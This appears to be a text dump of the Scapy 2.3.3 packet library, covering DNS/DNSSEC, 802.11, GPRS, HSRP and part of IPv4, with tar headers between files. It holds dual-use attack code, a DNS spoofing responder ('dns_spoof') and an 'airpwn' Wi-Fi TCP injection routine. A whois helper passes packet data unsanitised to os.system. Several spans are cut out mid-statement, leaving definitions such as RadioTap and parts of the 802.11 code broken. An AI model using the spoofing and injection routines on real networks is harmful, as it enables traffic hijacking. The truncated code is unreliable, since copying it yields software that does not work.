0), BitField("qr", 0, 1), BitEnumField("opcode", 0, 4, {0:"QUERY",1:"IQUERY",2:"STATUS"}), BitField("aa", 0, 1), BitField("tc", 0, 1), BitField("rd", 1, 1), BitField("ra", 0, 1), BitField("z", 0, 1), # AD and CD bits are defined in RFC 2535 BitField("ad", 0, 1), # Authentic Data BitField("cd", 0, 1), # Checking Disabled BitEnumField("rcode", 0, 4, {0:"ok", 1:"format-error", 2:"server-failure", 3:"name-error", 4:"not-implemented", 5:"refused"}), DNSRRCountField("qdcount", None, "qd"), DNSRRCountField("ancount", None, "an"), DNSRRCountField("nscount", None, "ns"), DNSRRCountField("arcount", None, "ar"), DNSQRField("qd", "qdcount"), DNSRRField("an", "ancount"), DNSRRField("ns", "nscount"), DNSRRField("ar", "arcount",0) ] def answers(self, other): return (isinstance(other, DNS) and self.id == other.id and self.qr == 1 and other.qr == 0) def mysummary(self): type = ["Qry","Ans"][self.qr] name = "" if self.qr: type = "Ans" if self.ancount > 0 and isinstance(self.an, DNSRR): name = ' "%s"' % self.an.rdata else: type = "Qry" if self.qdcount > 0 and isinstance(self.qd, DNSQR): name = ' "%s"' % self.qd.qname return 'DNS %s%s ' % (type, name) dnstypes = { 0:"ANY", 255:"ALL", 1:"A", 2:"NS", 3:"MD", 4:"MF", 5:"CNAME", 6:"SOA", 7: "MB", 8:"MG", 9:"MR",10:"NULL",11:"WKS",12:"PTR",13:"HINFO",14:"MINFO",15:"MX",16:"TXT", 17:"RP",18:"AFSDB",28:"AAAA", 33:"SRV",38:"A6",39:"DNAME", 41:"OPT", 43:"DS", 46:"RRSIG", 47:"NSEC", 48:"DNSKEY", 50: "NSEC3", 51: "NSEC3PARAM", 32769:"DLV" } dnsqtypes = {251:"IXFR",252:"AXFR",253:"MAILB",254:"MAILA",255:"ALL"} dnsqtypes.update(dnstypes) dnsclasses = {1: 'IN', 2: 'CS', 3: 'CH', 4: 'HS', 255: 'ANY'} class DNSQR(Packet): name = "DNS Question Record" show_indent=0 fields_desc = [DNSStrField("qname", "www.example.com"), ShortEnumField("qtype", 1, dnsqtypes), ShortEnumField("qclass", 1, dnsclasses)] # RFC 2671 - Extension Mechanisms for DNS (EDNS0) class EDNS0TLV(Packet): name = "DNS EDNS0 TLV" fields_desc = [ ShortEnumField("optcode", 0, { 0: "Reserved", 1: "LLQ", 2: "UL", 3: "NSID", 4: "Reserved", 5: "PING" }), FieldLenField("optlen", None, "optdata", fmt="H"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen) ] def extract_padding(self, p): return "", p class DNSRROPT(Packet): name = "DNS OPT Resource Record" fields_desc = [ DNSStrField("rrname",""), ShortEnumField("type", 41, dnstypes), ShortField("rclass", 4096), ByteField("extrcode", 0), ByteField("version", 0), # version 0 means EDNS0 BitEnumField("z", 32768, 16, { 32768: "D0" }), # D0 means DNSSEC OK from RFC 3225 FieldLenField("rdlen", None, length_of="rdata", fmt="H"), PacketListField("rdata", [], EDNS0TLV, length_from=lambda pkt: pkt.rdlen) ] # RFC 4034 - Resource Records for the DNS Security Extensions # 09/2013 from http://www.iana.org/assignments/dns-sec-alg-numbers/dns-sec-alg-numbers.xhtml dnssecalgotypes = { 0:"Reserved", 1:"RSA/MD5", 2:"Diffie-Hellman", 3:"DSA/SHA-1", 4:"Reserved", 5:"RSA/SHA-1", 6:"DSA-NSEC3-SHA1", 7:"RSASHA1-NSEC3-SHA1", 8:"RSA/SHA-256", 9:"Reserved", 10:"RSA/SHA-512", 11:"Reserved", 12:"GOST R 34.10-2001", 13:"ECDSA Curve P-256 with SHA-256", 14: "ECDSA Curve P-384 with SHA-384", 252:"Reserved for Indirect Keys", 253:"Private algorithms - domain name", 254:"Private algorithms - OID", 255:"Reserved" } # 09/2013 from http://www.iana.org/assignments/ds-rr-types/ds-rr-types.xhtml dnssecdigesttypes = { 0:"Reserved", 1:"SHA-1", 2:"SHA-256", 3:"GOST R 34.11-94", 4:"SHA-384" } class TimeField(IntField): def any2i(self, pkt, x): if type(x) == str: import time, calendar t = time.strptime(x, "%Y%m%d%H%M%S") return int(calendar.timegm(t)) return x def i2repr(self, pkt, x): import time x = self.i2h(pkt, x) t = time.strftime("%Y%m%d%H%M%S", time.gmtime(x)) return "%s (%d)" % (t ,x) def bitmap2RRlist(bitmap): """ Decode the 'Type Bit Maps' field of the NSEC Resource Record into an integer list. """ # RFC 4034, 4.1.2. The Type Bit Maps Field RRlist = [] while bitmap: if len(bitmap) < 2: warning("bitmap too short (%i)" % len(bitmap)) return window_block = ord(bitmap[0]) # window number offset = 256*window_block # offset of the Ressource Record bitmap_len = ord(bitmap[1]) # length of the bitmap in bytes if bitmap_len <= 0 or bitmap_len > 32: warning("bitmap length is no valid (%i)" % bitmap_len) return tmp_bitmap = bitmap[2:2+bitmap_len] # Let's compare each bit of tmp_bitmap and compute the real RR value for b in xrange(len(tmp_bitmap)): v = 128 for i in xrange(8): if ord(tmp_bitmap[b]) & v: # each of the RR is encoded as a bit RRlist += [ offset + b*8 + i ] v = v >> 1 # Next block if any bitmap = bitmap[2+bitmap_len:] return RRlist def RRlist2bitmap(lst): """ Encode a list of integers representing Resource Records to a bitmap field used in the NSEC Resource Record. """ # RFC 4034, 4.1.2. The Type Bit Maps Field import math bitmap = "" lst = list(set(lst)) lst.sort() lst = filter(lambda x: x <= 65535, lst) lst = map(lambda x: abs(x), lst) # number of window blocks max_window_blocks = int(math.ceil(lst[-1] / 256.)) min_window_blocks = int(math.floor(lst[0] / 256.)) if min_window_blocks == max_window_blocks: max_window_blocks += 1 for wb in xrange(min_window_blocks, max_window_blocks+1): # First, filter out RR not encoded in the current window block # i.e. keep everything between 256*wb <= 256*(wb+1) rrlist = filter(lambda x: 256 * wb <= x < 256 * (wb + 1), lst) rrlist.sort() if rrlist == []: continue # Compute the number of bytes used to store the bitmap if rrlist[-1] == 0: # only one element in the list bytes = 1 else: max = rrlist[-1] - 256*wb bytes = int(math.ceil(max / 8)) + 1 # use at least 1 byte if bytes > 32: # Don't encode more than 256 bits / values bytes = 32 bitmap += struct.pack("B", wb) bitmap += struct.pack("B", bytes) # Generate the bitmap for tmp in xrange(bytes): v = 0 # Remove out of range Ressource Records tmp_rrlist = filter(lambda x: 256 * wb + 8 * tmp <= x < 256 * wb + 8 * tmp + 8, rrlist) if not tmp_rrlist == []: # 1. rescale to fit into 8 bits tmp_rrlist = map(lambda x: (x-256*wb)-(tmp*8), tmp_rrlist) # 2. x gives the bit position ; compute the corresponding value tmp_rrlist = map(lambda x: 2**(7-x) , tmp_rrlist) # 3. sum everything v = reduce(lambda x,y: x+y, tmp_rrlist) bitmap += struct.pack("B", v) return bitmap class RRlistField(StrField): def h2i(self, pkt, x): if type(x) == list: return RRlist2bitmap(x) return x def i2repr(self, pkt, x): x = self.i2h(pkt, x) rrlist = bitmap2RRlist(x) return [ dnstypes.get(rr, rr) for rr in rrlist ] class _DNSRRdummy(Packet): name = "Dummy class that implements post_build() for Ressource Records" def post_build(self, pkt, pay): if not self.rdlen == None: return pkt lrrname = len(self.fields_desc[0].i2m("", self.getfieldval("rrname"))) l = len(pkt) - lrrname - 10 pkt = pkt[:lrrname+8] + struct.pack("!H", l) + pkt[lrrname+8+2:] return pkt class DNSRRSOA(_DNSRRdummy): name = "DNS SOA Resource Record" fields_desc = [ DNSStrField("rrname",""), ShortEnumField("type", 6, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), DNSStrField("mname", ""), DNSStrField("rname", ""), IntField("serial", 0), IntField("refresh", 0), IntField("retry", 0), IntField("expire", 0), IntField("minimum", 0) ] class DNSRRRSIG(_DNSRRdummy): name = "DNS RRSIG Resource Record" fields_desc = [ DNSStrField("rrname",""), ShortEnumField("type", 46, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortEnumField("typecovered", 1, dnstypes), ByteEnumField("algorithm", 5, dnssecalgotypes), ByteField("labels", 0), IntField("originalttl", 0), TimeField("expiration", 0), TimeField("inception", 0), ShortField("keytag", 0), DNSStrField("signersname", ""), StrField("signature", "") ] class DNSRRNSEC(_DNSRRdummy): name = "DNS NSEC Resource Record" fields_desc = [ DNSStrField("rrname",""), ShortEnumField("type", 47, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), DNSStrField("nextname", ""), RRlistField("typebitmaps", "") ] class DNSRRDNSKEY(_DNSRRdummy): name = "DNS DNSKEY Resource Record" fields_desc = [ DNSStrField("rrname",""), ShortEnumField("type", 48, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), FlagsField("flags", 256, 16, "S???????Z???????"), # S: Secure Entry Point # Z: Zone Key ByteField("protocol", 3), ByteEnumField("algorithm", 5, dnssecalgotypes), StrField("publickey", "") ] class DNSRRDS(_DNSRRdummy): name = "DNS DS Resource Record" fields_desc = [ DNSStrField("rrname",""), ShortEnumField("type", 43, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ShortField("keytag", 0), ByteEnumField("algorithm", 5, dnssecalgotypes), ByteEnumField("digesttype", 5, dnssecdigesttypes), StrField("digest", "") ] # RFC 5074 - DNSSEC Lookaside Validation (DLV) class DNSRRDLV(DNSRRDS): name = "DNS DLV Resource Record" def __init__(self, *args, **kargs): DNSRRDS.__init__(self, *args, **kargs) if not kargs.get('type', 0): self.type = 32769 # RFC 5155 - DNS Security (DNSSEC) Hashed Authenticated Denial of Existence class DNSRRNSEC3(_DNSRRdummy): name = "DNS NSEC3 Resource Record" fields_desc = [ DNSStrField("rrname",""), ShortEnumField("type", 50, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ByteField("hashalg", 0), BitEnumField("flags", 0, 8, {1:"Opt-Out"}), ShortField("iterations", 0), FieldLenField("saltlength", 0, fmt="!B", length_of="salt"), StrLenField("salt", "", length_from=lambda x: x.saltlength), FieldLenField("hashlength", 0, fmt="!B", length_of="nexthashedownername"), StrLenField("nexthashedownername", "", length_from=lambda x: x.hashlength), RRlistField("typebitmaps", "") ] class DNSRRNSEC3PARAM(_DNSRRdummy): name = "DNS NSEC3PARAM Resource Record" fields_desc = [ DNSStrField("rrname",""), ShortEnumField("type", 51, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), ShortField("rdlen", None), ByteField("hashalg", 0), ByteField("flags", 0), ShortField("iterations", 0), FieldLenField("saltlength", 0, fmt="!B", length_of="salt"), StrLenField("salt", "", length_from=lambda pkt: pkt.saltlength) ] DNSRR_DISPATCHER = { 41: DNSRROPT, # RFC 1671 43: DNSRRDS, # RFC 4034 46: DNSRRRSIG, # RFC 4034 47: DNSRRNSEC, # RFC 4034 48: DNSRRDNSKEY, # RFC 4034 50: DNSRRNSEC3, # RFC 5155 51: DNSRRNSEC3PARAM, # RFC 5155 32769: DNSRRDLV, # RFC 4431 } DNSSEC_CLASSES = tuple(DNSRR_DISPATCHER.itervalues()) def isdnssecRR(obj): return isinstance(obj, DNSSEC_CLASSES) class DNSRR(Packet): name = "DNS Resource Record" show_indent=0 fields_desc = [ DNSStrField("rrname",""), ShortEnumField("type", 1, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), RDLenField("rdlen"), RDataField("rdata", "", length_from=lambda pkt:pkt.rdlen) ] bind_layers(UDP, DNS, dport=5353) bind_layers(UDP, DNS, sport=5353) bind_layers(UDP, DNS, dport=53) bind_layers(UDP, DNS, sport=53) DestIPField.bind_addr(UDP, "224.0.0.251", dport=5353) DestIP6Field.bind_addr(UDP, "ff02::fb", dport=5353) @conf.commands.register def dyndns_add(nameserver, name, rdata, type="A", ttl=10): """Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136 """ zone = name[name.find(".")+1:] r=sr1(IP(dst=nameserver)/UDP()/DNS(opcode=5, qd=[DNSQR(qname=zone, qtype="SOA")], ns=[DNSRR(rrname=name, type="A", ttl=ttl, rdata=rdata)]), verbose=0, timeout=5) if r and r.haslayer(DNS): return r.getlayer(DNS).rcode else: return -1 @conf.commands.register def dyndns_del(nameserver, name, type="ALL", ttl=10): """Send a DNS delete message to a nameserver for "name" dyndns_del(nameserver, name, type="ANY", ttl=10) -> result code (0=ok) example: dyndns_del("ns1.toto.com", "dyn.toto.com") RFC2136 """ zone = name[name.find(".")+1:] r=sr1(IP(dst=nameserver)/UDP()/DNS(opcode=5, qd=[DNSQR(qname=zone, qtype="SOA")], ns=[DNSRR(rrname=name, type=type, rclass="ANY", ttl=0, rdata="")]), verbose=0, timeout=5) if r and r.haslayer(DNS): return r.getlayer(DNS).rcode else: return -1 class DNS_am(AnsweringMachine): function_name="dns_spoof" filter = "udp port 53" def parse_options(self, joker="192.168.1.1", match=None): if match is None: self.match = {} else: self.match = match self.joker=joker def is_request(self, req): return req.haslayer(DNS) and req.getlayer(DNS).qr == 0 def make_reply(self, req): ip = req.getlayer(IP) dns = req.getlayer(DNS) resp = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport) rdata = self.match.get(dns.qd.qname, self.joker) resp /= DNS(id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=rdata)) return resp scapy-2.3.3/scapy/layers/dot11.py000066400000000000000000000465501300136037300165640ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Wireless LAN according to IEEE 802.11. """ import re,struct from zlib import crc32 from scapy.config import conf from scapy.data import * from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.plist import PacketList from scapy.layers.l2 import * from scapy.layers.inet import IP, TCP try: from Crypto.Cipher import ARC4 except ImportError: log_loading.info("Can't import python Crypto lib. Won't be able to decrypt WEP.") ### Fields class Dot11AddrMACField(MACField): def is_applicable(self, pkt): return 1 def addfield(self, pkt, s, val): if self.is_applicable(pkt): return MACField.addfield(self, pkt, s, val) else: return s def getfield(self, pkt, s): if self.is_applicable(pkt): return MACField.getfield(self, pkt, s) else: return s,None class Dot11Addr2MACField(Dot11AddrMACField): def is_applicable(self, pkt): if pkt.type == 1: return pkt.subtype in [ 0xb, 0xa, 0xe, 0xf] # RTS, PS-Poll, CF-End, CF-End+CF-Ack return 1 class Dot11Addr3MACField(Dot11AddrMACField): def is_applicable(self, pkt): if pkt.type in [0,2]: return 1 return 0 class Dot11Addr4MACField(Dot11AddrMACField): def is_applicable(self, pkt): if pkt.type == 2: if pkt.FCfield & 0x3 == 0x3: # To-DS and From-DS are set return 1 return 0 ### Layers class PrismHeader(Packet): """ iwpriv wlan0 monitor 3 """ name = "Prism header" fields_desc = [ LEIntField("msgcode",68), LEIntField("len",144), StrFixedLenField("dev","",16), LEIntField("hosttime_did",0), LEShortField("hosttime_status",0), LEShortField("hosttime_len",0), LEIntField("hosttime",0), LEIntField("mactime_did",0), LEShortField("mactime_status",0), LEShortField("mactime_len",0), LEIntField("mactime",0), LEIntField("channel_did",0), LEShortField("channel_status",0), LEShortField("channel_len",0), LEIntField("channel",0), LEIntField("rssi_did",0), LEShortField("rssi_status",0), LEShortField("rssi_len",0), LEIntField("rssi",0), LEIntField("sq_did",0), LEShortField("sq_status",0), LEShortField("sq_len",0), LEIntField("sq",0), LEIntField("signal_did",0), LEShortField("signal_status",0), LEShortField("signal_len",0), LESignedIntField("signal",0), LEIntField("noise_did",0), LEShortField("noise_status",0), LEShortField("noise_len",0), LEIntField("noise",0), LEIntField("rate_did",0), LEShortField("rate_status",0), LEShortField("rate_len",0), LEIntField("rate",0), LEIntField("istx_did",0), LEShortField("istx_status",0), LEShortField("istx_len",0), LEIntField("istx",0), LEIntField("frmlen_did",0), LEShortField("frmlen_status",0), LEShortField("frmlen_len",0), LEIntField("frmlen",0), ] def answers(self, other): if isinstance(other, PrismHeader): return self.payload.answers(other.payload) else: return self.payload.answers(other) class RadioTap(Packet): name = "RadioTap dummy" fields_desc = [ ByteField('version', 0), ByteField('pad', 0), FieldLenField('len', None, 'notdecoded', ' %Dot11.addr1%") def guess_payload_class(self, payload): if self.type == 0x02 and (0x08 <= self.subtype <= 0xF and self.subtype != 0xD): return Dot11QoS elif self.FCfield & 0x40: return Dot11WEP else: return Packet.guess_payload_class(self, payload) def answers(self, other): if isinstance(other,Dot11): if self.type == 0: # management if self.addr1.lower() != other.addr2.lower(): # check resp DA w/ req SA return 0 if (other.subtype,self.subtype) in [(0,1),(2,3),(4,5)]: return 1 if self.subtype == other.subtype == 11: # auth return self.payload.answers(other.payload) elif self.type == 1: # control return 0 elif self.type == 2: # data return self.payload.answers(other.payload) elif self.type == 3: # reserved return 0 return 0 def unwep(self, key=None, warn=1): if self.FCfield & 0x40 == 0: if warn: warning("No WEP to remove") return if isinstance(self.payload.payload, NoPayload): if key or conf.wepkey: self.payload.decrypt(key) if isinstance(self.payload.payload, NoPayload): if warn: warning("Dot11 can't be decrypted. Check conf.wepkey.") return self.FCfield &= ~0x40 self.payload=self.payload.payload class Dot11QoS(Packet): name = "802.11 QoS" fields_desc = [ BitField("TID",None,4), BitField("EOSP",None,1), BitField("Ack Policy",None,2), BitField("Reserved",None,1), ByteField("TXOP",None) ] def guess_payload_class(self, payload): if isinstance(self.underlayer, Dot11): if self.underlayer.FCfield & 0x40: return Dot11WEP return Packet.guess_payload_class(self, payload) capability_list = [ "res8", "res9", "short-slot", "res11", "res12", "DSSS-OFDM", "res14", "res15", "ESS", "IBSS", "CFP", "CFP-req", "privacy", "short-preamble", "PBCC", "agility"] reason_code = {0:"reserved",1:"unspec", 2:"auth-expired", 3:"deauth-ST-leaving", 4:"inactivity", 5:"AP-full", 6:"class2-from-nonauth", 7:"class3-from-nonass", 8:"disas-ST-leaving", 9:"ST-not-auth"} status_code = {0:"success", 1:"failure", 10:"cannot-support-all-cap", 11:"inexist-asso", 12:"asso-denied", 13:"algo-unsupported", 14:"bad-seq-num", 15:"challenge-failure", 16:"timeout", 17:"AP-full",18:"rate-unsupported" } class Dot11Beacon(Packet): name = "802.11 Beacon" fields_desc = [ LELongField("timestamp", 0), LEShortField("beacon_interval", 0x0064), FlagsField("cap", 0, 16, capability_list) ] class Dot11Elt(Packet): name = "802.11 Information Element" fields_desc = [ ByteEnumField("ID", 0, {0:"SSID", 1:"Rates", 2: "FHset", 3:"DSset", 4:"CFset", 5:"TIM", 6:"IBSSset", 16:"challenge", 42:"ERPinfo", 46:"QoS Capability", 47:"ERPinfo", 48:"RSNinfo", 50:"ESRates",221:"vendor",68:"reserved"}), FieldLenField("len", None, "info", "B"), StrLenField("info", "", length_from=lambda x:x.len) ] def mysummary(self): if self.ID == 0: return "SSID=%s"%repr(self.info),[Dot11] else: return "" class Dot11ATIM(Packet): name = "802.11 ATIM" class Dot11Disas(Packet): name = "802.11 Disassociation" fields_desc = [ LEShortEnumField("reason", 1, reason_code) ] class Dot11AssoReq(Packet): name = "802.11 Association Request" fields_desc = [ FlagsField("cap", 0, 16, capability_list), LEShortField("listen_interval", 0x00c8) ] class Dot11AssoResp(Packet): name = "802.11 Association Response" fields_desc = [ FlagsField("cap", 0, 16, capability_list), LEShortField("status", 0), LEShortField("AID", 0) ] class Dot11ReassoReq(Packet): name = "802.11 Reassociation Request" fields_desc = [ FlagsField("cap", 0, 16, capability_list), LEShortField("listen_interval", 0x00c8), MACField("current_AP", ETHER_ANY) ] class Dot11ReassoResp(Dot11AssoResp): name = "802.11 Reassociation Response" class Dot11ProbeReq(Packet): name = "802.11 Probe Request" class Dot11ProbeResp(Packet): name = "802.11 Probe Response" fields_desc = [ LELongField("timestamp", 0), LEShortField("beacon_interval", 0x0064), FlagsField("cap", 0, 16, capability_list) ] class Dot11Auth(Packet): name = "802.11 Authentication" fields_desc = [ LEShortEnumField("algo", 0, ["open", "sharedkey"]), LEShortField("seqnum", 0), LEShortEnumField("status", 0, status_code) ] def answers(self, other): if self.seqnum == other.seqnum+1: return 1 return 0 class Dot11Deauth(Packet): name = "802.11 Deauthentication" fields_desc = [ LEShortEnumField("reason", 1, reason_code) ] class Dot11WEP(Packet): name = "802.11 WEP packet" fields_desc = [ StrFixedLenField("iv", "\0\0\0", 3), ByteField("keyid", 0), StrField("wepdata",None,remain=4), IntField("icv",None) ] def post_dissect(self, s): # self.icv, = struct.unpack("!I",self.wepdata[-4:]) # self.wepdata = self.wepdata[:-4] self.decrypt() def build_payload(self): if self.wepdata is None: return Packet.build_payload(self) return "" def post_build(self, p, pay): if self.wepdata is None: key = conf.wepkey if key: if self.icv is None: pay += struct.pack(" %IP.dst%:%TCP.dport%") def send_reply(self, reply): sendp(reply, iface=self.ifto, **self.optsend) def sniff(self): sniff(iface=self.iffrom, **self.optsniff) plst=[] def get_toDS(): global plst while 1: p,=sniff(iface="eth1",count=1) if not isinstance(p,Dot11): continue if p.FCfield & 1: plst.append(p) print "." # if not ifto.endswith("ap"): # print "iwpriv %s hostapd 1" % ifto # os.system("iwpriv %s hostapd 1" % ifto) # ifto += "ap" # # os.system("iwconfig %s mode monitor" % iffrom) # def airpwn(iffrom, ifto, replace, pattern="", ignorepattern=""): """Before using this, initialize "iffrom" and "ifto" interfaces: iwconfig iffrom mode monitor iwpriv orig_ifto hostapd 1 ifconfig ifto up note: if ifto=wlan0ap then orig_ifto=wlan0 note: ifto and iffrom must be set on the same channel ex: ifconfig eth1 up iwconfig eth1 mode monitor iwconfig eth1 channel 11 iwpriv wlan0 hostapd 1 ifconfig wlan0ap up iwconfig wlan0 channel 11 iwconfig wlan0 essid dontexist iwconfig wlan0 mode managed """ ptrn = re.compile(pattern) iptrn = re.compile(ignorepattern) def do_airpwn(p, ifto=ifto, replace=replace, ptrn=ptrn, iptrn=iptrn): if not isinstance(p,Dot11): return if not p.FCfield & 1: return if not p.haslayer(TCP): return ip = p.getlayer(IP) tcp = p.getlayer(TCP) pay = str(tcp.payload) # print "got tcp" if not ptrn.match(pay): return # print "match 1" if iptrn.match(pay): return # print "match 2" del(p.payload.payload.payload) p.FCfield="from-DS" p.addr1,p.addr2 = p.addr2,p.addr1 q = p.copy() p /= IP(src=ip.dst,dst=ip.src) p /= TCP(sport=tcp.dport, dport=tcp.sport, seq=tcp.ack, ack=tcp.seq+len(pay), flags="PA") q = p.copy() p /= replace q.ID += 1 q.getlayer(TCP).flags="RA" q.getlayer(TCP).seq+=len(replace) sendp([p,q], iface=ifto, verbose=0) # print "send",repr(p) # print "send",repr(q) print p.sprintf("Sent %IP.src%:%IP.sport% > %IP.dst%:%TCP.dport%") sniff(iface=iffrom,prn=do_airpwn) conf.stats_dot11_protocols += [Dot11WEP, Dot11Beacon, ] class Dot11PacketList(PacketList): def __init__(self, res=None, name="Dot11List", stats=None): if stats is None: stats = conf.stats_dot11_protocols PacketList.__init__(self, res, name, stats) def toEthernet(self): data = map(lambda x:x.getlayer(Dot11), filter(lambda x : x.haslayer(Dot11) and x.type == 2, self.res)) r2 = [] for p in data: q = p.copy() q.unwep() r2.append(Ether()/q.payload.payload.payload) #Dot11/LLC/SNAP/IP return PacketList(r2,name="Ether from %s"%self.listname) scapy-2.3.3/scapy/layers/gprs.py000066400000000000000000000010251300136037300165730ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ GPRS (General Packet Radio Service) for mobile data communication. """ from scapy.fields import * from scapy.packet import * from scapy.layers.inet import IP class GPRS(Packet): name = "GPRSdummy" fields_desc = [ StrStopField("dummy","","\x65\x00\x00",1) ] bind_layers( GPRS, IP, ) scapy-2.3.3/scapy/layers/hsrp.py000066400000000000000000000065551300136037300166110ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ############################################################################# ## ## ## hsrp.py --- HSRP protocol support for Scapy ## ## ## ## Copyright (C) 2010 Mathieu RENARD mathieu.renard(at)gmail.com ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation; version 2. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# ## HSRP Version 1 ## Ref. RFC 2281 ## HSRP Version 2 ## Ref. http://www.smartnetworks.jp/2006/02/hsrp_8_hsrp_version_2.html ## ## $Log: hsrp.py,v $ ## Revision 0.2 2011/05/01 15:23:34 mrenard ## Cleanup code """ HSRP (Hot Standby Router Protocol): proprietary redundancy protocol for Cisco routers. """ from scapy.fields import * from scapy.packet import * from scapy.layers.inet import DestIPField, UDP from scapy.layers.inet6 import DestIP6Field class HSRP(Packet): name = "HSRP" fields_desc = [ ByteField("version", 0), ByteEnumField("opcode", 0, {0: "Hello", 1: "Coup", 2: "Resign", 3: "Advertise"}), ByteEnumField("state", 16, {0: "Initial", 1: "Learn", 2: "Listen", 4: "Speak", 8: "Standby", 16: "Active"}), ByteField("hellotime", 3), ByteField("holdtime", 10), ByteField("priority", 120), ByteField("group", 1), ByteField("reserved", 0), StrFixedLenField("auth", "cisco" + "\00" * 3, 8), IPField("virtualIP", "192.168.1.1")] def guess_payload_class(self, payload): if self.underlayer.len > 28: return HSRPmd5 else: return Packet.guess_payload_class(self, payload) class HSRPmd5(Packet): name = "HSRP MD5 Authentication" fields_desc = [ ByteEnumField("type", 4, {4: "MD5 authentication"}), ByteField("len", None), ByteEnumField("algo", 0, {1: "MD5"}), ByteField("padding", 0x00), XShortField("flags", 0x00), IPField("sourceip", None), XIntField("keyid", 0x00), StrFixedLenField("authdigest", "\00" * 16, 16)] def post_build(self, p, pay): if self.len is None and pay: l = len(pay) p = p[:1] + hex(l)[30:] + p[30:] return p bind_layers(UDP, HSRP, dport=1985, sport=1985) bind_layers(UDP, HSRP, dport=2029, sport=2029) DestIPField.bind_addr(UDP, "224.0.0.2", dport=1985) DestIP6Field.bind_addr(UDP, "ff02::66", dport=2029) scapy-2.3.3/scapy/layers/inet.py000066400000000000000000001663021300136037300165710ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ IPv4 (Internet Protocol v4). """ import os,time,struct,re,socket,new from select import select from collections import defaultdict from scapy.utils import checksum,inet_aton,inet_ntoa from scapy.base_classes import Gen from scapy.data import * from scapy.layers.l2 import * from scapy.config import conf from scapy.fields import * from scapy.packet import * from scapy.volatile import * from scapy.sendrecv import sr,sr1,srp1 from scapy.plist import PacketList,SndRcvList from scapy.automaton import Automaton,ATMT from scapy.error import warning import scapy.as_resolvers from scapy.arch import plt, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS #################### ## IP Tools class ## #################### class IPTools(object): """Add more powers to a class with an "src" attribute.""" __slots__ = [] def whois(self): os.system("whois %s" % self.src) def ottl(self): t = [32,64,128,255]+[self.ttl] t.sort() return t[t.index(self.ttl)+1] def hops(self): return self.ottl()-self.ttl-1 _ip_options_names = { 0: "end_of_list", 1: "nop", 2: "security", 3: "loose_source_route", 4: "timestamp", 5: "extended_security", 6: "commercial_security", 7: "record_route", 8: "stream_id", 9: "strict_source_route", 10: "experimental_measurement", 11: "mtu_probe", 12: "mtu_reply", 13: "flow_control", 14: "access_control", 15: "encode", 16: "imi_traffic_descriptor", 17: "extended_IP", 18: "traceroute", 19: "address_extension", 20: "router_alert", 21: "selective_directed_broadcast_mode", 23: "dynamic_packet_state", 24: "upstream_multicast_packet", 25: "quick_start", 30: "rfc4727_experiment", } class _IPOption_HDR(Packet): fields_desc = [ BitField("copy_flag",0, 1), BitEnumField("optclass",0,2,{0:"control",2:"debug"}), BitEnumField("option",0,5, _ip_options_names) ] class IPOption(Packet): name = "IP Option" fields_desc = [ _IPOption_HDR, FieldLenField("length", None, fmt="B", # Only option 0 and 1 have no length and value length_of="value", adjust=lambda pkt,l:l+2), StrLenField("value", "",length_from=lambda pkt:pkt.length-2) ] def extract_padding(self, p): return "",p registered_ip_options = {} @classmethod def register_variant(cls): cls.registered_ip_options[cls.option.default] = cls @classmethod def dispatch_hook(cls, pkt=None, *args, **kargs): if pkt: opt = ord(pkt[0])&0x1f if opt in cls.registered_ip_options: return cls.registered_ip_options[opt] return cls class IPOption_EOL(IPOption): name = "IP Option End of Options List" option = 0 fields_desc = [ _IPOption_HDR ] class IPOption_NOP(IPOption): name = "IP Option No Operation" option=1 fields_desc = [ _IPOption_HDR ] class IPOption_Security(IPOption): name = "IP Option Security" copy_flag = 1 option = 2 fields_desc = [ _IPOption_HDR, ByteField("length", 11), ShortField("security",0), ShortField("compartment",0), ShortField("handling_restrictions",0), StrFixedLenField("transmission_control_code","xxx",3), ] class IPOption_LSRR(IPOption): name = "IP Option Loose Source and Record Route" copy_flag = 1 option = 3 fields_desc = [ _IPOption_HDR, FieldLenField("length", None, fmt="B", length_of="routers", adjust=lambda pkt,l:l+3), ByteField("pointer",4), # 4 is first IP FieldListField("routers",[],IPField("","0.0.0.0"), length_from=lambda pkt:pkt.length-3) ] def get_current_router(self): return self.routers[self.pointer/4-1] class IPOption_RR(IPOption_LSRR): name = "IP Option Record Route" option = 7 class IPOption_SSRR(IPOption_LSRR): name = "IP Option Strict Source and Record Route" option = 9 class 